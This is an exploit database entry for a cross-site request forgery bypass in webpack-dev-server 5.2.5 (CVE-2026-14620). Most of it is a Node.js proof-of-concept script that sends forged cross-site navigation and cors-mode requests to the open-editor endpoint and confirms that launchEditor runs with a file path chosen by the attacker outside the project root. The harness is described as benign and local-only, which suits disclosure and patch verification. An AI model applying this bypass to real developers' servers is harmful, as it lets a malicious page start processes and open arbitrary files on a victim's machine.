webpack_devserver 5.2.5 - CSRF

EDB-ID:

52649




Platform:

Multiple

Date:

2026-08-17


# Exploit Title: webpack_devserver 5.2.5 - Csrf

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/webpack/webpack-dev-server 

# Software Link: https://www.npmjs.com/package/webpack-dev-server 

# Version: <= 5.2.5 (fixed 5.2.6)

# Tested on: Linux

# CVE: CVE-2026-14620

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-14620-webpack-dev-server 



GET /webpack-dev-server/open-editor?fileName= reaches launchEditor() from cross-site navigation and fetch(mode:cors); the CVE-2026-6402 guard only blocks no-cors subresources. Advisory: GHSA-f5vj-f2hx-8m93.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (poc.js) ---

/*

* PoC — webpack-dev-server v5.2.5 open-editor cross-origin CSRF

*

* Demonstrates that GET /webpack-dev-server/open-editor?fileName=<path> reaches

* launchEditor(fileName) from a CROSS-ORIGIN context, bypassing the cross-origin

* guard added for CVE-2026-6402 / CVE-2025-30359.

*

* The guard (lib/Server.js:2039-2046) only blocks requests whose headers are

* BOTH `sec-fetch-mode: no-cors` AND `sec-fetch-site: cross-site` — i.e. the

* <script>/<img>/<link> subresource loads that the source-theft advisories were

* about. It does NOT block:

*   - cross-site NAVIGATIONS (iframe / window.open / top-level)  -> sec-fetch-mode: navigate

*   - cross-site fetch(..., {mode:'cors'})                       -> sec-fetch-mode: cors

* Both of those are exactly how a real malicious page reaches a state-changing

* GET endpoint, and both let launchEditor() spawn a process on the dev's machine

* with an attacker-chosen (existing) file path — INCLUDING paths outside the

* project root.

*

* Benign marker: a fake "editor" ($MARKER_FILE) records the argv it was launched

* with. No destructive action. Everything is local (127.0.0.1).

*/

"use strict";



const path = require("path");

const http = require("http");

const fs = require("fs");



const POC_DIR = __dirname;

// Point this at a local `webpack-dev-server` checkout at the affected version (v5.2.5).

//   WDS_ROOT=/path/to/webpack-dev-server node poc.js

const WDS_ROOT = process.env.WDS_ROOT || path.resolve(POC_DIR, "webpack-dev-server");

const webpack = require(path.join(WDS_ROOT, "node_modules", "webpack"));

const Server = require(path.join(WDS_ROOT, "lib", "Server.js"));



const MARKER_FILE = path.join(POC_DIR, "marker.log");

const FAKE_EDITOR = path.join(POC_DIR, "fake-editor.sh");

// Attacker-chosen target: a file OUTSIDE the dev-server project root.

const ATTACKER_TARGET = path.join(POC_DIR, "outside", "secret.txt");



// Make launch-editor deterministically use our benign sentinel "editor".

process.env.LAUNCH_EDITOR = FAKE_EDITOR;

process.env.MARKER_FILE = MARKER_FILE;



try { fs.unlinkSync(MARKER_FILE); } catch {}

fs.chmodSync(FAKE_EDITOR, 0o755);



const HOST = "127.0.0.1";



function request(port, headers) {

  return new Promise((resolve) => {

    const url =

      "/webpack-dev-server/open-editor?fileName=" +

      encodeURIComponent(ATTACKER_TARGET);

    const req = http.request(

      { host: HOST, port, path: url, method: "GET", headers },

      (res) => {

        let body = "";

        res.on("data", (c) => (body += c));

        res.on("end", () => resolve({ status: res.statusCode, body }));

      }

    );

    req.on("error", (e) => resolve({ status: 0, body: String(e) }));

    req.end();

  });

}



function markerCount() {

  try {

    return fs

      .readFileSync(MARKER_FILE, "utf8")

      .split("\n")

      .filter((l) => l.includes("LAUNCHED_WITH")).length;

  } catch {

    return 0;

  }

}



async function waitMarker(prev, ms = 2500) {

  const t0 = Date.now();

  while (Date.now() - t0 < ms) {

    if (markerCount() > prev) return true;

    await new Promise((r) => setTimeout(r, 50));

  }

  return false;

}



(async () => {

  const compiler = webpack({

    mode: "development",

    context: path.join(POC_DIR, "project"),

    entry: "./src/index.js",

    output: { path: path.join(POC_DIR, "project", "dist") },

  });



  // Default-ish config. allowedHosts defaults to "auto"; no special hardening.

  const server = new Server({ host: HOST, port: 0 }, compiler);

  await server.start();

  const port = server.server.address().port;

  console.log(`[*] dev server up on http://${HOST}:${port }  (allowedHosts: auto, default)\n`);



  const results = [];



  // Vector A — cross-site NAVIGATION (iframe / window.open). Real browsers send these.

  let prev = markerCount();

  let rA = await request(port, {

    Host: `localhost:${port}`,

    Origin: " https://evil.example ",

    "Sec-Fetch-Mode": "navigate",

    "Sec-Fetch-Site": "cross-site",

    "Sec-Fetch-Dest": "iframe",

  });

  let firedA = await waitMarker(prev);

  results.push(["A navigate (iframe) cross-site", rA.status, firedA]);



  // Vector B — cross-site fetch(mode:'cors'). Response unreadable to attacker, side-effect still fires.

  prev = markerCount();

  let rB = await request(port, {

    Host: `localhost:${port}`,

    Origin: " https://evil.example ",

    "Sec-Fetch-Mode": "cors",

    "Sec-Fetch-Site": "cross-site",

    "Sec-Fetch-Dest": "empty",

  });

  let firedB = await waitMarker(prev);

  results.push(["B fetch{mode:cors} cross-site", rB.status, firedB]);



  // Vector C — the ONLY combination the guard blocks: <img>/<script> no-cors subresource.

  prev = markerCount();

  let rC = await request(port, {

    Host: `localhost:${port}`,

    Origin: " https://evil.example ",

    "Sec-Fetch-Mode": "no-cors",

    "Sec-Fetch-Site": "cross-site",

    "Sec-Fetch-Dest": "script",

  });

  let firedC = await waitMarker(prev, 1200);

  results.push(["C no-cors (script/img) cross-site", rC.status, firedC]);



  console.log("VECTOR                                 HTTP   launchEditor fired?");

  for (const [name, status, fired] of results) {

    console.log(

      `${name.padEnd(38)} ${String(status).padEnd(5)}  ${fired ? "YES <-- attacker reached launchEditor" : "no (blocked)"}`

    );

  }



  console.log("\n--- marker.log (argv the spawned 'editor' received) ---");

  try { process.stdout.write(fs.readFileSync(MARKER_FILE, "utf8")); } catch { console.log("(empty)"); }



  const pass = results[0][2] === true && results[1][2] === true && results[2][2] === false;

  console.log(

    `\nRESULT: ${pass ? "CONFIRMED" : "NOT CONFIRMED"} — ` +

      `cross-site navigation & cors-fetch reach launchEditor (open arbitrary existing file: ${ATTACKER_TARGET}); ` +

      `only no-cors subresource is blocked.`

  );



  await server.stop();

  process.exit(pass ? 0 : 1);

})().catch((e) => {

  console.error("PoC error:", e);

  process.exit(2);

});